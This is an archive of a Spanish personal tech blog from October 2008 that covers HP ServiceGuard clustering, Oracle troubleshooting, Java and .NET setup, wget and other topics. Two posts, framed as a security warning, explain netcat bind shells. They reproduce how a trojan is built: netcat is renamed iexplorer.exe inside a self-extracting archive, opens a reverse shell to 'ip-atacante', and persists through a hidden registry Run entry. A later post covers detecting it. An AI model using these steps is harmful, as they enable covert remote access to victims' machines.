viernes, octubre 31, 2008

Me voy de finde

Hola chic@s,
Me voy de fin de semana. A pasar un par de días sin Internet.
Esta semana he dado bastante la vara. Dejo un video que he subido a Youtube.

Corresponde a un día de puertas abiertas (4-10-2008) en el circuito de Miranda.
El que lleva el coche es mi amigo Xabi y el del BMW blanco su colega Borono.

Gora Ibarra Racing!

jueves, octubre 30, 2008

Manejo del Service Guard


El Service Guard es un software de HP para configurar un cluster de servidores para asegurar la "alta disponibilidad".

En el trabajo se han comprado dos servidores HP integrity 6600 y se ha configurado el producto (Service Guard) en los dos. Esta historia requiere licencia.

En /etc/cmcluster está la configuración del ServiceGuard.
/etc/cmcluster/cluster.ascii es el fichero de configuración.

Hay tres conceptos importantes en todo este tema:

Concepto de cluster:
Podemos definir varios cluster. Por defecto el nombre del primero será cluster1. El "status" del cluster es lo que siempre debería estar en UP. Mientras un nodo esté UP no debería haber problemas para que el cluster esté UP.

Concepto de nodo (NODE):
Los nodos son las máquinas que componen el cluster. En mi caso sólo hay dos pero puedes poner todos los que quieras. Es conveniente que los nodos estén en "status" UP aunque con uno es suficiente para que el cluster esté UP. También conviene que el "state" de los nodos sea "running".

Concepto de paquete (PACKAGE):
El paquete es lo que se va a mover de nodo en nodo. Se define un nodo principal y cuando falla podemos levantar el paquete en otro nodo del cluster.

COMANDOS DEL SERVICE GUARD

cmviewcl
El principal para saber como está la cosa.
Nos muestra lo siguiente:




cmviewclSi nos parece poco, con la opción verbose tenemos más información:
cmviescl -v

Cuando está en el nodo que tiene el package, verás que además de la IP de la máquina está definida una IP virtual para ese paquete:

Para ver la IP física del servidor (definido por medio del APA):
ifconfig lan900
lan900 es como lo hemos definido en nuestra instalación.

Para ver la IP virtual del paquete:
ifconfig lan900:1

Si hacemos netstat -rn veremos definidos el interface lan900:1 y la ip virtual.
Todo esto sólo cuando estemos en el nodo que tiene el paquete corriendo.

Además de la IP Virtual, al ser el nodo que tiene el paquete podemos hacer un bdf, o un df -k y ver los file system. Los otros nodos no tienen en estos momentos estos file system montados. Cuando movemos el paquete a otro nodo entre otras cosas se montan automáticamente los file system. Vamos, en eso consiste el cluster.

Cuando queramos parar el paquete ejecutamos:
cmhaltpkg oracle siendo oracle el nombre del paquete.

cmhaltpkg
Cuidado porque AUTO_RUN se queda en disable. Esto es porque se supone que hay un problema. Paramos el paquete y lo vamos a levantar en otro nodo, pero no queremos que se vuelva a switchear el paquete para que no vuelva.

Al hacer el halt (cmhaltpkg) se desmonta los vg-s y se quita la IP virtual.

Podemos ir a otro nodo y arrancar el paquete:
cmrunpkg oracle
Arranca el paquete, pero si estaba con AUTO_RUN disable ya no switchea automáticamente.

Modificaciones del paquete:

cmmodpkg -e oracle
Pone el AUTO_RUN a enabled. Quiere decir que se activa el switching del paquete.
Si el paquete estuviera parado lo arrancaría.
Por lo tanto es la mejor forma de arrancarlo.

cmmodpkg -d oracle
Pone el autorun a disable. Deshabilita el switching del paquete.


cmmodpkgPor supuesto, hay muchas más cosas:

Si queremos gestionar el cluster de forma gráfica:
http://direccion-ip-servidor:2301

Para que una máquina concreta se una al cluster al arrancar:
Editamos /etc/rc.config.d/cmcluster
y ponemos AUTOSTART_CMCLD=1

Hemos visto comandos que se refieren al paquete, pero tienen sus equivalencias en nodos.
cmhaltnode para sacar un nodo del cluster.
cmrunnode para que forme parte del cluster. No hace falta que lo utilicemos porque con el AUTOSTART_CMCLD=1 ya se une en el arranque.
cmruncluster y cmhaltcluster hacen lo que su propio nombre indica :-)



La configuración del paquete se almacena en /etc/cmcluster/oracle, y dentro de este directorio, los volúmenes a montar están en oracle.cntl



ORACLE TOOLKIT



Si tenemos una B.D ORACLE, lo normal es utilizar el toolkit oracle en el cluster serviceguard. Estas toolkit se componen de scripts que hacen lo siguiente:



1.-Levantar Oracle cuando arrancamos el paquete Oracle.



2.-Monitorizar Oracle de forma que si se cae el cluster intentará levantarlo en el otro nodo.



3.-Parar Oracle cuando paremos el paquete Oracle.



Documentación completa del ORACLE TOOLKIT: http://h20000.www2.hp.com/bc/docs/support/SupportManual/c02496200/c02496200.pdf



El problema suele ser que cuando paramos el paquete, además de Oracle el serviceguard quita también la IP virtual y los volúmenes asociados al paquete. A veces necesitamos parar Oracle, pero necesitamos también tener los filesystems montados para hacer algún trabajo de mantenimiento. Esto se hace así:



#cd /etc/cmcluster/oracle



Creamos un fichero vacío llamado oracle.debug. Esto hará que se pause la monitorización:



#touch oracle.debug



Deshabilitamos el failover en caso de fallo Oracle. Lo hacemos para que no levante Oracle en el nodo pasivo:



#cmmodpkg -d oracle



Lanzamos la orden de parada Oracle:



#./toolkit.sh stop



Cuando hayamos terminado NO OLVIDAR eliminar el fichero oracle.debug.



#cmmodpkg -e oracle



#./toolkit.sh start




LO QUE DICE LA LÓGICA
Tenemos dos máquinas idénticas para una sola instancia Oracle (paquete oracle). Esta instancia va a funcionar en una máquina y si hay algún fallo pasará a la otra. Si no hay ningún fallo nunca la segunda máquina no se va a utilizar nunca. Es un cluster Activo-Pasivo.

Lo lógico es aprovechar la máquina pasiva para algo secundario como una instancia de desarrollo o pruebas Oracle. Podemos definir un nuevo paquete que corra en esta segunda máquina normalmente y si hubiera algún fallo pasaríamos el paquete a la otra.

Saludos.

martes, octubre 28, 2008

Dos semanas aciagas


Éramos pocos y parió la abuela, o también se podría decir que montamos un circo y nos crecen los enanos.

Llevamos una racha bastante mala en el trabajo.

Además de un montonazo de cosas pendientes y marrones varios nos ha venido un usuario que lanza por medio de una aplicación un proceso pl-sql (oracle) extremadamente pesado y no lo ve terminar. Miramos en el servidor y ya no está el proceso.

Primero miramos en el log Oracle:
Editamos /oracle/admin/instancia/bdump/alert_nombreInstancia.log
Buscamos errores ORA. Si aparece alguno, normalmente vendrá indicado el fichero de traza donde encontrar más información.

El fichero de traza está en /oracle/admin/instancia/udump/instancia_ora_numero.trc
Le pido que lo lance otra vez y me preparo con mi repertorio de comandos de HP-UX (la mayoría coinciden con el resto de UNIX y con GNU/Linux por lo que pienso que son interesantes.

Tengo una pista. Tengo un mail del servidor de monitorización de Oracle (Entreprise Manager Grid Control):

Metric=CPU Utilization (%)
Metric Value=99.4
Timestamp=Oct 27, 2008 3:21:59 PM CET
Severity=Critical
Message=CPU Utilization is 99.4%, crossed warning (80) or critical (95) threshold.
Notification Rule Name=Host Availability and Critical States
Notification Rule Owner=SYSMAN
Ha llegado el momento de mirar el log principal del sistema operativo
Leemos /var/adm/syslog/syslog.log
No encontramos nada.
Observar la ejecución
Bueno, a monitorizar el uso de la CPU.
Para este tipo de monitorizaciones hay diferente comandos.

Esta es mi lista particular para este problema concreto:
vmstat 4 400
Nos da información sobre el uso de la memoria virtual.
4 es el intervalo (4 segundos) y 400 el número de veces que queremos que nos muestre información.

top
Primero nos muestra una fila por procesador y estadísticas de utilización en tanto por ciento.
Nos muestra los procesos de forma ordenada por tiempo de cpu utilizado y mostrando su estado.
Podríamos haber hecho top 4 400 también, pero en principio sin argumentos se refresca continuamente.
swapinfo
Información sobre el espacio para paginación.
sar 1 5
Cada segundo y hasta un total de 5 veces nos muestra la actividad de cada núcleo en porcentajes: %usr, %sys, %io, %idle. El idle es la inactividad del sistema.
mpsched –s
Tiene opciones interesantes. Sirve para controlar en que procesador se está ejecutando un proceso.
A mi me ha servidor para ver con la opción -s que HP-UX está viendo sólo un procesador (Processor Count: 1)
machinfo
Muestra información de la máquina.
Concretamente el número de cpu-s y su velocidad, familia de procesador, modelo y revisión del procesador, tipo de caché y tamaños, memoria RAM instalada, versión del firmware, plataforma, número de serie, sistema operativo y versión del S.O.
Lo que me ha ocurrido...
Para mi problema particular yo he empezado con un top y ahí me he llevado la sorpresa. El servidor tiene dos procesadores pero en top sólo veo uno.
mpsched y sobre todo machinfo han servidor para confirmar lo mismo. El sistema no ve uno de los procesadores.
En este punto, obligatorio avisar a los usuarios para una parada programada al mediodía.
Paramos el servidor y entramos en la EFI para ver si desde aquí se ven los dos procesadores. Si se ven pero uno está deshabilitado por mal funcionamiento se supone. Llamamos al fabricante para abrir una incidencia y a esperar la sustitución.
Saludos.

lunes, octubre 27, 2008

¡Alucina vecina!

lenguajes .net
¿Sabes cuántos lenguajes .NET hay?

Me ha entrado la curiosidad y buscando me he encontrado con esta increible lista.

Es muy curioso. Por ejemplo, he hecho clic en el lisp (microsoft). Resulta que parece ser que con el framework (ni siquiera hace falta el visual studio) debe venir un compilador clisp que compila a código MSIL.

Ya comprobaremos si sirve para algo o es un simple ejemplo.

Saludos.

domingo, octubre 26, 2008

Instalación de entorno Java

Bueno, por los comentarios del post del otro día, parece que el personal opina que es mejor Java que .NET para un proyecto en principio destinado a la libre distribución.

Pues nada, a reciclarse y a instalar Java.

PASO 1: INSTALAR JAVA


Voy a http://java.sun.com/javase/downloads/index.jsp y selecciono Java SE Development Kit (JDK) 6 Update 10. La instalación no tiene ninguna pega.




PASO 2: CONSEGUIR BUENA DOCUMENTACIÓN


Cuando empezó a extenderse el fenómeno Java (1997) el mejor libro y descargable gratuitamente era el "Thinking in Java" (Pensando en Java) de Bruce Eckel. Este autor dedicado a la formación y divulgación ya era conocido por el "Thinking in C++". Thinking in Java se considera libro de cabecera no sólo para aprender sobre Java sino en general como libro sobre programación.

El propio autor distribuye gratuitamente a través de su web las versiones electrónicas de su libro: http://mindview.net/Books/DownloadSites/

Están la primera, segunda y tercera edición. La más reciente, la cuarta hay que comprarla en librería. Conviene mencionar que los temas no se han ido copiando y mejorando de versión en versión. Hay temas enteros que sólo encuentras en versiones anteriores.


El único inconveniente de esos libros publicados por el autor es que están en inglés. Yo me he bajado la versión pdf del thinking in java segunda edición en castellano de aquí: https://www.yousendit.com/transfer.php?action=batch_download&batch_id=Y2o4dFdYTkFQb0pFQlE9PQ



Cuando se lanzó la segunda revisión estaba disponible el JDK 1.3 que supuso tanto cambios en el lenguaje que se consideró Java 2.

El libro que me he descargado es un PDF de 33,9 Mbytes y 958 páginas con mucha literatura de por medio. En la página 22 empieza un prólogo, en la página 28 está el prólogo a la edición en castellano, en la 36 la Introducción.

Más curiosidades:
pag. 47. Notas sobre el diseño de la portada (la imagen de cabecera del post).
pag. 49-50. Tipos de letras, procesador empleado.
pag. 52 empieza "Introduccion a los objetos".

En la pag. 120 por fin algo interesante: Tu primer programa java.
Edito con el blog de notas el fichero:






PASO 3: NUESTRO PRIMER PROGRAMA JAVA.






Es muy curioso, y creo recordar que en el primer Thinking in Java el autor dice algo al respecto, el primer programa Java no es el famoso HOLA MUNDO.




En la variable de entorno path he metido a mano la ruta hasta el compilador javac.

Luego, en línea de comandos: javac HolaFecha.java

Como resultado genera un HolaFecha.class

Y para ejecutarlo java HolaFecha




PASO 4: SELECCIONAR UN IDE


No vamos a hacer la aplicación utilizando el bloc de notas. Necesitamos algo que nos facilite sobre todo el diseño de los formularios. Ha llegado la hora de elegir un IDE.

El IDE va a determinar las librerías gráficas que podemos utilizar. Nos decían que podíamos utilizar SWING.

En el 97 la libreria grafica de moda era AWT. Ahora veo que ha fracasado. El problema que tenía era que utilizaba por debajo la API propia de cada entorno (Windows, GNULinux, etc.) por lo que AWT sólo abarcaba la parte común de todas ellas.

Aquí podemos ver como lo hace Swing para superar esa limitación: http://es.wikipedia.org/wiki/Swing_(biblioteca_gr%C3%A1fica)

Al final para elegir el IDE me he basado en este post y los comentarios: http://iiso.blogspot.com/2007/06/elegir-un-ide.html

Sólo me queda la duda entre dos: Eclipse o NetBeans. Esto es lo que dice Wikipedia de ellos:
Eclipse: http://es.wikipedia.org/wiki/Eclipse_(software)
NetBeans: http://es.wikipedia.org/wiki/NetBeans_IDE

Por si me quedaba pocas dudas me encuentro con este otro: http://www.forodejava.com/showthread.php?t=440


La decisión es...NetBeans.


PASO 5: DESCARGAR NETBEANS

Para descargar NetBeans vamos al sitio de netbeans en castellano: http://www.netbeans.org/index_es.html

En enlace de descargas: http://www.netbeans.org/downloads/index.html


Y como siempre necesitamos un tutorial de netbeans: http://www.netbeans.org/kb/60/java/quickstart.html


Este es el aspecto de NetBeans:



Ya está todo preparado para empezar mañana el proyecto.

Saludos.

viernes, octubre 24, 2008

Crisis II

El pasado 13 de octubre comentaba los documentos y explicaciones de Leopoldo Abadía sobre la actual crisis.

Esta crisis financiera ya se está empezando a notar en las empresas para las cuales han cambiado las condiciones de financiación, en las cifras del paro por despidos y/o regulaciones de empleo, y por lo tanto en el consumo que se reduce, y en las empresas por menor demanda y etc. etc., con todas las consecuencias que esto conlleva.

Por si fuera poco con la desconfianza que hay entre los bancos tampoco se sabe lo que ocurrirá con el euribor (que esta semana ha bajado). Y aunque subvencionen el préstamo interbancario, no se, algún día se acabará el dinero de las subvenciones.


No os perdáis estas dos entrevistas para entender el origen de toda esta movida.

Aquí podemos ver a Leopoldo Abadía en una entrevista que le hace Buenafuente en la Sexta:



Y bueno, para rematar ésta otra entrevista en clave de humor.

No me extraña nada la nacionalización de las pensiones en Argentina teniendo en cuenta donde pueden acabar nuestros planes de jubilación.

Joder, tanta aportación a EPSV-s para que lo utilicen para sus agujeros de mala gestión. Aquí deberían hacer lo mismo. Al final y al cabo la culpa de esta crisis es de los bancos que no hacen más que ganar y ganar cada vez más dinero sin aportar valor a la economía real.



Saludos.

miércoles, octubre 22, 2008

Aplicación vb.net

Hola,

Dentro de año y medio hay un congreso al que me gustaría asistir. Es un tema de trabajo que se decide voluntariamente. Hay tiempo suficiente para preparar la ponencia, aunque la dedicación diaria va a ser mínima. Concretamente del orden de 10-15 minutos diarios, y no todos los días.

Para ello voy a utilizar un lenguaje muy productivo como es vb.net.

En los minutos de ayer decidí el nombre de la aplicación, creé el formulario principal de tipo MDI (el típico formulario principal del Word, Excel, etc.). Le puse un menú de aplicación e hice que de la primera opción del menú se abriera un formulario hijo.

Bueno, en este momento surgieron las dudas. Quiero que en este formulario hijo se pueda establecer conexión con Oracle. Ya no recordaba todas las opciones que ofrece el framework .NET y voy a dejarlas aquí puestas ya que mi aplicación va a tener que abrir muchos tipos de base de datos diferentes (incluso ficheros planos y Excel).

En ADO.NET tenemos las siguientes formas de conexión (voy a mencionar los espacios de nombre posibles).

1.-System.Data.ODBC.
No hay mucho que decir. Por una parte está muy bien porque me permite acceder a muchísimas bases de datos diferentes y creo que algunas incluso no relacionales.http://es.wikipedia.org/wiki/ODBC. Por otra creo que tendría que crear la entrada ODBC como requisito para que la aplicación funcione y eso me parece algo antiguo en el año 2008.

2.-System.Data.OleDB.
Esto es parte de Microsoft Acceso a Datos (MDAC). ¿Instalar MDAC como requisito de la aplicación? También me parece antiguo.

http://es.wikipedia.org/wiki/OLE_DB

http://msdn.microsoft.com/es-es/library/system.data.oledb(VS.80).aspx


3.-System.Data.SqlClient.
Pensado para bases de datos SQLServer de Microsoft. Será útil más adelante.

4.-OracleClient.
El software es de Microsoft, pero está pensado para acceder a base de datos Oracle. Se utiliza igual que SqlClient. Bueno, esto parece lo más adecuado.

¿Y que recomienda Microsoft?

http://msdn.microsoft.com/es-es/library/a6cd7c08(VS.80).aspx


Viene a decir que...

  • Para versiones 7 o posteriores de SQLServer: SQLClient.
  • Para origenes de datos Oracle: OracleClient.

También que...

  • El proveedor de datos para OleDb tiene similar arquitectura que el de ODBC.
  • Para versiones anteriores a la 7 de SQLServer recomienda OleDb.
  • Para Access recomiendan OleDb aunque advierten que no recomiendan Access para aplicaciones de tipo "medio".

Saludos.

pd: se admiten sugerencias, gracias.

martes, octubre 21, 2008

Maravillosa utilidad


Este Kubuntu (me imagino que igual que el resto de GNU/Linux) viene completito de utilidades de serie.

Ya llevo unos cuantos post y me convenía backear el blog. Cual es mi sorpresa cuando veo que tengo el Wget disponible desde que lo instalé.

WGET es una herramienta que se ejecuta desde la línea de comandos y sirve para copiar completamente un sitio Web. Empieza descargando la página principal y continúa con todos los vínculos que va encontrando.

Lamentablemente, esta utilidad la conocen también los que andan buscando sentencias SQL, contraseñas, correos electrónicos, comentarios que les den pistas sobre algo, etc.

El uso es muy sencillo. Para descargar toda la web se utiliza la opción r de recursivo:

wget -r dirección
wget dirección -r


Tiene opciones también para autenticarse (opciones --http-user y --http-passwd), utilización de cookies (--load-cookies=cookies.txt), etc.

En estos casos se hace así:

wget --http-user=usuarioPrueba -http-passwd=mipassword
> -r https://dirección

wget --load-cookies=cookies.txt -cookies=on
> -r https://dirección

Por cierto, no os preocupéis si utilizáis Windows porque también está disponible para estos S.O. Encontrarás centenares de sitios donde descargarte WGET.

Saludos.

lunes, octubre 20, 2008

Si sospechas que tienes un troyano...



Bueno, rápidamente que he salido a las 7:45 a.m. de casa y he vuelto a las 22:45 p.m.


Creo que el sábado dejé el tema de los troyanos sin explicar la detección. Ya vistéis lo fácil que es crear uno con algo tan sencillo como el netcat.

NETSTAT
Hablo de Windows, por lo que lo diré un poco de memoria. Así a bote pronto lo primero un netstat -a. El comando tienen sus opciones. Échales un vistazo. Una de ellas muy útil y reduce mucho el tiempo de espera.

Netstat básicamente nos muestra las conexiones abiertas estén o no establecidas en ese momento. Utiliza el firewall de Windows para controlar los puertos o descargate el que prefieras de Internet.

TASKLIST
También podemos revisar el famoso Task manager o ¿gestor de tareas?
En lugar del bonito Window te recomiendo la opción por línea de comando y luego te digo por qué. El comando se llama tasklist.

También tiene opciones la mar de interesantes como /M para ver las DLL-s, /SVC para ver la descripción de los servicios, etc.

MSCONFIG
Muy importante, no olvidar. Se pueden configurar algunas cositas del sistema y se pueden ver y deshabilitar muchos procesos y servicios que están en el arranque. También se accede a archivos de configuración que ha podido toquetear el troyano de los huevos.

EL MALDITO REGISTRO
Si, ya sabemos que esto es un poco más delicado. Ya hemos visto la técnica que utiliza el troyano, el registry add o algo así. Espera, que hago un copia pega:
reg add HKcU\Software\Microsoft\Windows\CurrentVersion\Run

Bueno, pues que menos que abrir el registro e ir a HKEYLOCALMACHINE, SOFTWARE\MICROSOFT \WINDOWS\CURRENTVERSION y revisar las entradas que encuentres...

Se me han agotado las ideas, pero seguro que hay más cosas. A ver si mañana navego un poco y aumento la lista.

Lo importante, tener una versión de la configuración antes del troyano. No cuesta nada hacer un ficherito .bat con:

cmd
netstat -a > netstat.txt
tasklist /M > tasklist-m.txt
tasklist /SVC > tasklist-svc.txt

Hay muchas opciones para salvar el registro. Se puede por línea de comandos también. Podéis verlo en http://windowsxp.mvps.org/registry.htm

Por supuesto, siempre recomendable el punto de restauración de Windows. JeJe, consejos vendo pero para mi no tengo: nunca he creado un punto de esos.

Ante todo prudencia al eliminar y deshabilitar cosas. No viene mal una búsqueda por ahí. Hay un montón de sitios con descripciones de procesos, servicios, dll-s, etc.

Por cierto, esto del tasklist me ha recordado las pstools. ¿Recordais como hace unas semanas os recomendé el pskill de Russinovich? Pues formaba parte de las pstools.

Cometí un pequeño error. Puse el enlace a las pstools 1.12 cuando ya está disponible la versión 2.44 desde hace algún tiempo.

Cómo podéis ver en la página de las pstools, con este paquetito podéis ejecutar por línea de comandos:

  • psExec
  • psFile
  • psGetSid
  • psInfo
  • psKill
  • psList
  • psLoggedOn
  • psLogList
  • psPasswd
  • psService
  • psShutdown
  • psSuspend
  • psUptime

De esta forma vuestro Windows parece más un Linux y tiene más potencia (posibilidades de ejecutar cosas de forma sencilla).

Saludos.

sábado, octubre 18, 2008

Siguiendo con lo del troyano de ayer...

Ya habéis visto como hay que desconfiar un poco, y especialmente de los autoextraibles. Más o menos ocurre así:

Alguien nos ha cogido paquete. Tranquilo, no es culpa tuya, igual es que no le gusta tu equipo de fútbol. Se cree superior. Incluso puede ser superior ya que tiene demasiado tiempo libre. Además abusa de nuestra confianza. Nos dice algo como..."Oye, te paso esto a ver que te parece". Y tu vas con toda tu buena intención para que te cuele un troyano.

En el enlace que mostraba en el post anterior se ve como actúa el asaltante. Como a muchos os da pereza hacer clic hacía otro sitio, reproduzco con mis palabras como funciona el tema:

1.-Primero elige la víctima. A veces ni eso. Deja el troyano preparadito para que alguien pique.

2.-Luego un poco de ingenieria social para parecer un amigo que ofrece algo interesante (juego, software, etc.).

3.-Coge el netcat y lo transforma para que el atacado no llegue a sospechar. Por una parte le cambia el nombre y lo llama iexplorer.exe. Luego utiliza el ResHacker para cambiarle el icono. Lógicamente le pone el icono del iexplorer.

4.-Utiliza el winrar para preparar un archivo .sfx que es autoextraible.

4.1.-Pone como carpeta de extracción esta:
= %homedrive%%homepath%\update
En una carpeta de nombre update no llama demasiado la atención un fichero llamado iexplorer.exe.

4.1.-Hay un lugar para indicar que tras la extracción se ejecute algo. Ahí indica que se ejecute iexplorer.exe -d -e cmd.exe ip-atacante 80

La opción -d está disponible en el netcat para Windows. Lo que hace es que netcat pueda seguir a la escucha aunque no se mantenga abierta la ventana del interprete de comandos cmd.exe. Vamos, para evitar que el atacado se entere.

4.2.-En otro sitio se pone lo que hay que ejecutar antes de la extración. Aquí añade una entrada en el registro para que el troyano se ejecute cada vez que se arranca el PC:
= %windir%\system32\cmd /c reg add HKcU\Software\Microsoft\Windows\CurrentVersion\Run /v "iexplorer" /t REG_SZ /d "%homedrive%%homepath%\update\iexplorer.exe -d -e cmd.exe ip-atacante 80" /f > nul
Lo que hace es ejecutar el reg add que fuerza luego la ejecución del troyano en cada arranque. La redirección a nul es para que el atacante no vea el reg add.

Bueno, ya veis lo fácil que es que te cuelen un troyano. Y una vez colado puede acceder a la máquina incluidas las unidades de red todas las veces que quiera.

Ahora la pregunta lógica, yo tengo antivirus ¿estoy seguro? En el caso que hemos visto el antivirus debería darse cuenta que el fichero iexplorer.exe tiene un patrón muy coincidente (mejor dicho exacto) con el netcat y advertirnos de que es un posible troyano, pero quien sabe. Lo probaré el lunes porque en este Kubuntu no tengo antivirus.

Por si acaso es mejor que busquemos los troyanos nosotros mismos. Mañana digo cómo, que es sábado y salgo a cenar.

Saludos.

viernes, octubre 17, 2008

Se consciente del peligro

Hola. Hoy quiero tratar un tema polémico. Es polémico por muchas razones. Enumero dos:

1.-Tener ciertas herramientas creo que a día de hoy ya es delito en muchos sitios. Por ejemplo en Alemania. Lo que ocurre es que las herramientas que utilizan los hacker también se utilizan por parte de los Administradores aunque con otros propósitos. Por ejemplo el hacker utiliza el sniffer para otear y el Administrador para resolver problemas de red. La herramienta no hace el delito, depende del uso.

2.-La palabra hacker ha ido evolucionando y cada uno de nosotros se ha quedado con un concepto. Por lo tanto hoy en día no nos sirve en nuestra comunicación. Cuando escribo hacker yo quiero decir una cosa y tu puedes entender otra diferente y no quiero acabar discutiendo por un malentendido. No tiene una definición cerrada como se puede ver en la wikipedia inglesa. Para mi un Administrador bueno es un hacker y en cambio muchos cyberdelincuentes no son hackers.

En la wikipedia en castellano podéis leer de forma más cómoda casi lo mismo, aunque creo que en este caso esta página lo explica mejor y se parece más a los datos de la wikipedia inglesa.

Bueno, resumiendo: en un principio la palabra no tenía connotación negativa. Estaba asociado al entorno universitario en las ramas más cercanas a la computación. Más tarde la prensa, el cine y la televisión se encargaron de reducir su significado y asociarlo a un tipo de hacker que en principio era minoritario respecto al conjunto.

Por último, nuestra propia conciencia colectiva ha vuelto a ampliar la definición pero esta vez para agrupar dentro de los hacker a gente con muchas utilidades, pocos conocimientos, y que lo único que sabe hacer es fastidiar al prójimo por fastidiar. Símplemente por sentirse superior.

Vamos a un caso práctico. Una utilidad utilizada por Administradores y por Hackers típica ha sido netcat. Está guay que Kubuntu lo traiga por defecto, aunque no se qué harán con Kubuntu en Alemania.

En Windows no os costará encontrarlo, pero cuidado con lo que os bajais, por lo que vamos a ver a continuación.

Hacemos man netcat: TCP/IP swiss army knife. O sea, como la llama todo el mundo por ahí: "La navaja suiza de TCP/IP".

Lo que hace netcat es increiblemente sencillo. Cuando lo ejecutas abres una conexión TCP/IP hacia tu PC, servidor, etc. o también te puede servir para conectarte con TCP/IP a otro PC, servidor, etc.

Ejemplo:

netcat -l -p 5555
Esto deja a mi ordenador a la escucha de lo que llegue por el puerto 5555.
-l significa que se quede a la escucha.
-p es para poder indicar el puerto.

Ahora abro otra sesión (podría ser otro PC en Internet pero como es mi propio PC pongo localhost) y hago:
telnet localhost 5555
connected to localhost
<>
y milagrosamente lo veo por la otra sesión.

Abriendo otros puertos y ejecutando los comandos contrarios ya tengo un chat montado con el netcat.

En lugar de telnet también podría haber utilizado netcat para conectarme al puerto que está escuchando el PC:
netcat localhost 5555

Por cierto, si lo queréis probar de forma remota para saber la IP dinámica que os asigna vuestro ISP podéis ir a http://www.vermiip.es/

Bueno, ya estaréis pensando...menuda mierda esto del netcat, ¿no?

Pues no, tiene un opción super-potente y por lo tanto super-peligrosa.
Si hacemos en el netcat que escucha lo siguiente...
netcat -l -p 5555 -e /bin/sh
Esto lo que hace es pasarle al /bin/sh lo que escucha.

Por lo tanto si en el otro lado hacemos
netcat localhost 5555
y luego un ls
pues nos muestra el resultado del ls en la conexión remota.

Guapo ¿eh?

En caso de Windows todo es equivalente:
netcat -l -p 5555 -e cmd.exe
y un dir en el otro lado.

Bueno, pues ahora vienen las malas noticias. Ya veis que con netcat no nos está pidiendo usuario y password en la conexión. Los permisos del que se conecta serán los mismos que los del usuario que ha abierto el netcat.

Un uso indebido del netcat sería abrir una puerta trasera para una entrada remota posterior.

Otra forma sería que el propio usuario abriera la puertita sin enterarse. Tal vez esto no le ocurra al Administrador, pero ¿que hay de los usuarios más despistados?

Echa un vistazo a esto y sabrás a lo que te expones cada vez que ejecutas cosas de dudosa procedencia...
http://hackerven.1foro.com/netcat-para-los-newbies-t18.html

Saludos.

jueves, octubre 16, 2008

Peligrosos picapleitos

JeJeJe...creía que los abogados eran personas serias y respetables :)
Resulta que he perdido algo de anonimato y esta mañana he recibido un mail en mi correo del trabajo dirigido a Mikelats.

El remitente era un conocido abogado, supuestamente serio y trabajador y me enviaba material altamente subversivo que ataca ni más ni menos que al gigante de Redmond... creo que no tiene paciencia para manejar el Windows...

Aviso: No es un video. Es un mp3 subido a youtube...



El origen de esta música demoníaca es El Reno Renardo. Especialmente bueno el videoclip que nos enseñó el Maligno hace unos meses en su blog...



Para ver más videoclips: http://www.elrenorenardo.com/videoclips.html

y para descargarte todas las canciones de sus dos discos: http://www.elrenorenardo.com/descargas.html

Buena musiquita si señor/a.

En relación con el video de los años 80...Uff... Sabrina me ponía bizco :-)
¿Recordais la espectación que levantó el fin de año del 87? ¿Alguien se lo perdió?



¿No os ve nadie la pantalla? ¿Todo despejado?

La canción más famosa de Sabrina era la de antes, pero la segunda que cantó y la que revolucionó para siempre jamás aquella nochevieja fue esta:



Saludos.

pd: Jo, menuda bronca me espera si mi hermana ve este post tan machistoide algún día.

miércoles, octubre 15, 2008

Software para el conocimiento

Hola amigotes,

Parece que la crisis ha afectado también a la feria informática por excelencia en la península: el simo de Madrid. Pues si, no habrá simo 2008 parece ser que por la ausencia de las grandes empresas.

Lo que si que ha habido hoy es el congreso anual de SAS: Sas Forum 2008.

Las imágenes de este post corresponden a una invitación para asistir. Ingeniosas ¿no?

La mayoría pensareis ¿que es eso de SAS? Bueno, pues yo diría que es el software lider mundial en cuanto a análisis de datos.

Por mi parte os diré que se utiliza en mi trabajo y con gran diferencia es el software más caro que he visto en mi vida (no voy a poner la cifra por si incumplo algún término de la licencia, pero supera todo lo demás junto). Es lo mejor con diferencia, y también lo más caro, sobre todo cuando otro día explique una alternativa software libre para los que no lleguen al presupuesto.

Es un software que no se compra, se alquila. Y si un año no se puede pagar, además de perder el derecho de uso, la próxima vez que lo contrates empiezas otra vez con el precio extra-caro (el primer año es más caro que los posteriores).

Los datos se pueden almacenar en un formato nativo SAS (datasets SAS), o bien puede atacar todo tipo de bases de datos, ficheros planos, etc. etc. Creo que se puede trabajar con cualquier cosa que se te pueda ocurrir.

Nació como software estadístico pero hoy en día se utiliza para otras muchas cosas como:

-Minería de datos.

-Análisis de riesgos.

-Toma de decisiones.

-Etc.

En general son esas cositas que está de moda agrupar como "Business Intelligence".

Como os imaginaréis, esto se utiliza en grandes empresas y en sectores en los que el análisis de la información es muy importante como en la banca, seguros, automoción, eléctricas, comunicaciones, sanidad, transportes,...

Creo que SAS comete un error al no rebajar el precio de las licencias para propósitos educativos. Lo que está ocurriendo es que los matemáticos, economistas, sociologos, etc. (potenciales clientes de SAS cuando se incorporen al mercado laboral) no pueden tener acceso a este software en las Universidades y aprenden a utilizar un potentísimo software libre como es R y que en gran medida puede hacer competencia a SAS.

Adquisiciones



Tengo que escribir a toda leche, que he tenido cena, son las 00:37 a.m. y mañana es día de escuela.
La imagen de arriba son las compras en la feria del sábado. Si, ya se que las cintas ya no se llevan, pero es que uno es así de raro y no se puede cambiar. Además tengo casette en el coche y no me gusta enchufar el mp3 porque no hago más que cambiar pilas. Respecto a mis gustos musicales tengo que decir que en formato cinta no había mucho donde elegir.

Si has visto esa gran película puedes
hacer clic aquí y leer sobre ella y todos los premios recibidos. Si no es así, no lo hagas, wikipedia te cuenta TODO y ya no es lo mismo.

Saludos.

lunes, octubre 13, 2008

¡Crisis!



Hola amig@s,
Jeje, ya lo siento por los dos días que he estado sin escribir...es que entre la película de los Cohen que vi el viernes, la visita a una feria de cintas, CD-s, películas y comics antiguos, más las compras de papeo que tuve que hacer el sábado, la cena de soka-tira del sábado noche y la comida familiar de la que yo era cocinero oficial el domingo, no he tenido ni 10 minutos para el blog :-(

Bueno, si os queréis enterar un poco de que es esta crisis que tanto está preocupando en Europa y EEUU, no os podéis perder el documento elaborado por Leopoldo Abadía. Está disponible en http://www.elconfidencial.com/cache/2008/04/15/6_chaval_autor_mejor_explicacion_crisis_subprime_economia.html

La verdad es que es increible que haya realizado el análisis de lo que ahora percibimos hace ya más de 6 meses.

